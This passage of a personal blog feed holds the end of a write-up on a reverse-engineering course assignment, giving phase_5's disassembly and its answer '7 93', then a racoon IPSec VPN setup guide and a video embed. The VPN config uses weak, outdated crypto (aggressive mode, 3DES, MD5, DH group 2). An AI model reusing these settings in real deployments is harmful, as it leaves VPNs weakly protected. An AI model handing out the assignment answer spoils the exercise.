&lt;p&gt;第 10 行，&lt;code class=&quot;highlighter-rouge&quot;&gt;eax&lt;/code&gt; 存入地址为 &lt;code class=&quot;highlighter-rouge&quot;&gt;rsp + 12&lt;/code&gt; 中的数，也就是第二个参数。11 - 12 行用这个数和 &lt;code class=&quot;highlighter-rouge&quot;&gt;0xf&lt;/code&gt; 做了与操作，取出了最后两位并重新保存到 &lt;code class=&quot;highlighter-rouge&quot;&gt;rsp + 12&lt;/code&gt; 中。13 行判断了这个数是不是 &lt;code class=&quot;highlighter-rouge&quot;&gt;0xf&lt;/code&gt;，若是就引爆了炸弹，否则接下来进入循环。15 - 16 行的两个计数器 &lt;code class=&quot;highlighter-rouge&quot;&gt;ecx&lt;/code&gt; 和 &lt;code class=&quot;highlighter-rouge&quot;&gt;edx&lt;/code&gt; 清零。&lt;/p&gt;

&lt;p&gt;17 到 22 行由 &lt;code class=&quot;highlighter-rouge&quot;&gt;jne&lt;/code&gt; 判断出这是一个循环。17 行的作用让 &lt;code class=&quot;highlighter-rouge&quot;&gt;edx = edx + 1&lt;/code&gt;，马上 18 行 &lt;code class=&quot;highlighter-rouge&quot;&gt;cltq&lt;/code&gt; 对 &lt;code class=&quot;highlighter-rouge&quot;&gt;eax&lt;/code&gt; 进行符号扩展，在 19 行加载 &lt;code class=&quot;highlighter-rouge&quot;&gt;rax * 4 + 0x401ba0&lt;/code&gt; 这个地址中的数到 &lt;code class=&quot;highlighter-rouge&quot;&gt;eax&lt;/code&gt; 中。20 行 &lt;code class=&quot;highlighter-rouge&quot;&gt;ecx&lt;/code&gt; 作为累加器加上 &lt;code class=&quot;highlighter-rouge&quot;&gt;eax&lt;/code&gt; 中的数。21 行依旧判断 &lt;code class=&quot;highlighter-rouge&quot;&gt;eax&lt;/code&gt; 这个数是不是 &lt;code class=&quot;highlighter-rouge&quot;&gt;0xf&lt;/code&gt;，不是则进行循环。&lt;/p&gt;

&lt;p&gt;比较难理解的是 19 行 &lt;code class=&quot;highlighter-rouge&quot;&gt;eax = *(rax * 4 + 0x401ba0)&lt;/code&gt; 即取出了起始地址为 &lt;code class=&quot;highlighter-rouge&quot;&gt;0x401ba0&lt;/code&gt; 的数组中序号为 &lt;code class=&quot;highlighter-rouge&quot;&gt;eax&lt;/code&gt; 的数放入 &lt;code class=&quot;highlighter-rouge&quot;&gt;eax&lt;/code&gt; 中。根据 21 行判断数组大小，用 &lt;code class=&quot;highlighter-rouge&quot;&gt;x /16wd 0x401ba0&lt;/code&gt; 查看一下 &lt;code class=&quot;highlighter-rouge&quot;&gt;0x401ba0&lt;/code&gt; 开始的数组：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;0x401ba0 array.3014:		10	2	14	7&lt;br /&gt;
0x401bb0 array.3014+16:	8	12	15	11&lt;br /&gt;
0x401bc0 array.3014+32:	0	4	1	13&lt;br /&gt;
0x401bd0 array.3014+48:	3	9	6	5&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;整理一下：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;10 2 14 7 8 12 15 11 0 4 1 13 3 9 6 5&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;跳出循环，第 24 行，判断 &lt;code class=&quot;highlighter-rouge&quot;&gt;edx&lt;/code&gt; 即函数的循环次数是不是 &lt;code class=&quot;highlighter-rouge&quot;&gt;0xc = 12&lt;/code&gt;；第 26 行判断了第二个参数是否等于 &lt;code class=&quot;highlighter-rouge&quot;&gt;ecx&lt;/code&gt; 中的数。phase_5 也就被我们转化成了一道数组倒推问题。计算后得到答案：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;7 93&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;至此，作业要求的 5 个函数已经完成！（撒花）&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;whats-next&quot;&gt;What’s Next&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Phase 6&lt;/li&gt;
  &lt;li&gt;Secret Phase&lt;/li&gt;
  &lt;li&gt;Gdb Guide&lt;/li&gt;
&lt;/ul&gt;


          
          
        
      
        </content><summary>苦逼的暑假开始了。</summary></entry><entry><title>Cisco IPSec VPN 配置小记</title><id>http://blog.cee.moe/cisco-ipsec-vpn.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/cisco-ipsec-vpn.html" /><published>2014-04-09T00:00:00-07:00</published><updated>2016-01-28T07:11:16-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;咳咳。部署团委的&lt;a href=&quot;http://www.njucqc.com&quot;&gt;创青春网站&lt;/a&gt;(Under Construction 2333)，顺便弄了一下 Cisco 的 VPN。&lt;/p&gt;

&lt;p&gt;比想像中容易配置，主要参考了&lt;a href=&quot;https://plus.google.com/+MartianZ&quot;&gt;MartianZ 菊苣&lt;/a&gt;的 &lt;a href=&quot;http://blog.martianz.cn/article/2014-02-14-centos-cisco-ipsec&quot;&gt;blog&lt;/a&gt; 和&lt;a href=&quot;http://blog.wellsgz.info/?p=1964&quot;&gt;另一篇博文&lt;/a&gt;。&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;安装-ipsec-tools-racoon&quot;&gt;安装 IPSec-Tools Racoon&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table style=&quot;border-spacing: 0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot; style=&quot;text-align: right&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# apt-get install ipsec-tools&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# apt-get install racoon&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;配置-ipsec-tools-racoon&quot;&gt;配置 IPSec-tools Racoon&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-conf&quot; data-lang=&quot;conf&quot;&gt;&lt;table style=&quot;border-spacing: 0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot; style=&quot;text-align: right&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# /etc/racoon/racoon.conf
&lt;/span&gt;    
&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pre_shared_key&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/etc/racoon/psk.txt&quot;&lt;/span&gt;;
&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;certificate&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/etc/racoon/certs&quot;&lt;/span&gt;;

&lt;span class=&quot;n&quot;&gt;listen&lt;/span&gt; {
	&lt;span class=&quot;n&quot;&gt;isakmp&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;YOUR&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;IP&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;ADDRESS&lt;/span&gt; [&lt;span class=&quot;m&quot;&gt;500&lt;/span&gt;];
	&lt;span class=&quot;n&quot;&gt;isakmp_natt&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;YOUR&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;IP&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;ADDRESS&lt;/span&gt; [&lt;span class=&quot;m&quot;&gt;4500&lt;/span&gt;];
    &lt;span class=&quot;c&quot;&gt;#上两行 YOUR.IP.ADDRESS 改为 VPS 的外网地址
&lt;/span&gt;}

&lt;span class=&quot;n&quot;&gt;remote&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;anonymous&lt;/span&gt; {
	&lt;span class=&quot;n&quot;&gt;exchange_mode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aggressive&lt;/span&gt;, &lt;span class=&quot;n&quot;&gt;main&lt;/span&gt;, &lt;span class=&quot;n&quot;&gt;base&lt;/span&gt;;
	&lt;span class=&quot;n&quot;&gt;mode_cfg&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;on&lt;/span&gt;;
	&lt;span class=&quot;n&quot;&gt;proposal_check&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;obey&lt;/span&gt;;
	&lt;span class=&quot;n&quot;&gt;nat_traversal&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;on&lt;/span&gt;;
	&lt;span class=&quot;n&quot;&gt;generate_policy&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unique&lt;/span&gt;;
	&lt;span class=&quot;n&quot;&gt;ike_frag&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;on&lt;/span&gt;;
	&lt;span class=&quot;n&quot;&gt;passive&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;on&lt;/span&gt;;
	&lt;span class=&quot;n&quot;&gt;dpd_delay&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;30&lt;/span&gt;;

	&lt;span class=&quot;n&quot;&gt;proposal&lt;/span&gt; {
   		&lt;span class=&quot;n&quot;&gt;lifetime&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;28800&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sec&lt;/span&gt;;
   		&lt;span class=&quot;n&quot;&gt;encryption_algorithm&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;des&lt;/span&gt;;
    	&lt;span class=&quot;n&quot;&gt;hash_algorithm&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;md5&lt;/span&gt;;
    	&lt;span class=&quot;n&quot;&gt;authentication_method&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xauth_psk_server&lt;/span&gt;;
    	&lt;span class=&quot;n&quot;&gt;dh_group&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;;
	}
}

&lt;span class=&quot;n&quot;&gt;sainfo&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;anonymous&lt;/span&gt; {
	&lt;span class=&quot;n&quot;&gt;encryption_algorithm&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;aes&lt;/span&gt;, &lt;span class=&quot;m&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;des&lt;/span&gt;, &lt;span class=&quot;n&quot;&gt;blowfish&lt;/span&gt;;
	&lt;span class=&quot;n&quot;&gt;authentication_algorithm&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hmac_sha1&lt;/span&gt;, &lt;span class=&quot;n&quot;&gt;hmac_md5&lt;/span&gt;;
	&lt;span class=&quot;n&quot;&gt;compression_algorithm&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;deflate&lt;/span&gt;;
}

&lt;span class=&quot;n&quot;&gt;mode_cfg&lt;/span&gt; {
	&lt;span class=&quot;n&quot;&gt;auth_source&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;system&lt;/span&gt;;
	&lt;span class=&quot;n&quot;&gt;dns4&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;8&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;8&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;8&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;8&lt;/span&gt;;
	&lt;span class=&quot;n&quot;&gt;banner&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/etc/racoon/motd&quot;&lt;/span&gt;;
	&lt;span class=&quot;n&quot;&gt;save_passwd&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;on&lt;/span&gt;;
	&lt;span class=&quot;n&quot;&gt;network4&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;10&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;100&lt;/span&gt;;&lt;span class=&quot;c&quot;&gt;#客户端获得的 IP 起始地址
&lt;/span&gt;	&lt;span class=&quot;n&quot;&gt;netmask4&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;255&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;255&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;255&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;;&lt;span class=&quot;c&quot;&gt;#客户端获得的地址的掩码
&lt;/span&gt;	&lt;span class=&quot;n&quot;&gt;pool_size&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;100&lt;/span&gt;;&lt;span class=&quot;c&quot;&gt;#最大客户端数量
&lt;/span&gt;	&lt;span class=&quot;n&quot;&gt;pfs_group&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;;
}&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-conf&quot; data-lang=&quot;conf&quot;&gt;&lt;table style=&quot;border-spacing: 0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot; style=&quot;text-align: right&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# /etc/racoon/psk.txt
&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;YOUR&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;GROUP&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;NAME&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;YOUR&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;GROUP&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;SECRET&lt;/span&gt; 
&lt;span class=&quot;c&quot;&gt;# 前面是 Group Name，或者 vpnc 里配置的 IPSec ID
&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;#&lt;/span&gt; 后面是 &lt;span class=&quot;n&quot;&gt;Secret&lt;/span&gt;，或者 &lt;span class=&quot;n&quot;&gt;vpnc&lt;/span&gt; 里的 &lt;span class=&quot;n&quot;&gt;IPSec&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;secret&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-conf&quot; data-lang=&quot;conf&quot;&gt;&lt;table style=&quot;border-spacing: 0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot; style=&quot;text-align: right&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# /etc/racoon/motd
&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Fuck&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GFW&lt;/span&gt;!
&lt;span class=&quot;err&quot;&gt;#&lt;/span&gt; 欢迎信息，貌似一定要填写？&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;添加用户名和密码&quot;&gt;添加用户名和密码&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table style=&quot;border-spacing: 0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot; style=&quot;text-align: right&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# useradd -MN -b /tmp -s /sbin/nologin YOUR.USERNAME &lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# passwd YOUR.USERNAME&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;设置-iptables-的规则和-ipv4-forward&quot;&gt;设置 iptables 的规则和 IPv4 forward&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table style=&quot;border-spacing: 0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot; style=&quot;text-align: right&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# iptables -A INPUT -p udp --dport 500 -j ACCEPT&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# iptables -A INPUT -p udp --dport 4500 -j ACCEPT&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# iptables -t nat -A POSTROUTING -s 10.1.1.0/24 -o eth0 -j MASQUERADE&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# iptables -A FORWARD -s 10.1.1.0/24 -j ACCEPT&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# iptables-save&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-conf&quot; data-lang=&quot;conf&quot;&gt;&lt;table style=&quot;border-spacing: 0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot; style=&quot;text-align: right&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# /etc/sysctl.conf
&lt;/span&gt;	
&lt;span class=&quot;n&quot;&gt;net&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;ipv4&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;ip_forward&lt;/span&gt; = &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sysctl&lt;/span&gt; -&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;最后启动-&quot;&gt;最后启动 &amp;gt;&amp;lt;&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table style=&quot;border-spacing: 0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot; style=&quot;text-align: right&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# service racoon start&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# chkconfig racoon on&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;


          
          
        
      
        </content><summary>咳咳。部署团委的创青春网站(Under Construction 2333)，顺便弄了一下 Cisco 的 VPN。</summary></entry><entry><title>Over The Time Dance</title><id>http://blog.cee.moe/over-the-time-dance.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/over-the-time-dance.html" /><published>2013-12-12T00:00:00-08:00</published><updated>2016-02-06T06:34:47-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;iframe width=&quot;800&quot; height=&quot;450&quot; src=&quot;https://www.youtube.com/embed/SpT4aMjs0Y0&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

          
          
        
          &lt;p&gt;&lt;a href=&quot;http://www.bilibili.com/video/av868384/&quot;&gt;&lt;small&gt;◉ Direct Link to Original Site&lt;/small&gt;&lt;/a&gt;&lt;/p&gt;
        
      
        </content><summary></summary></entry></feed>
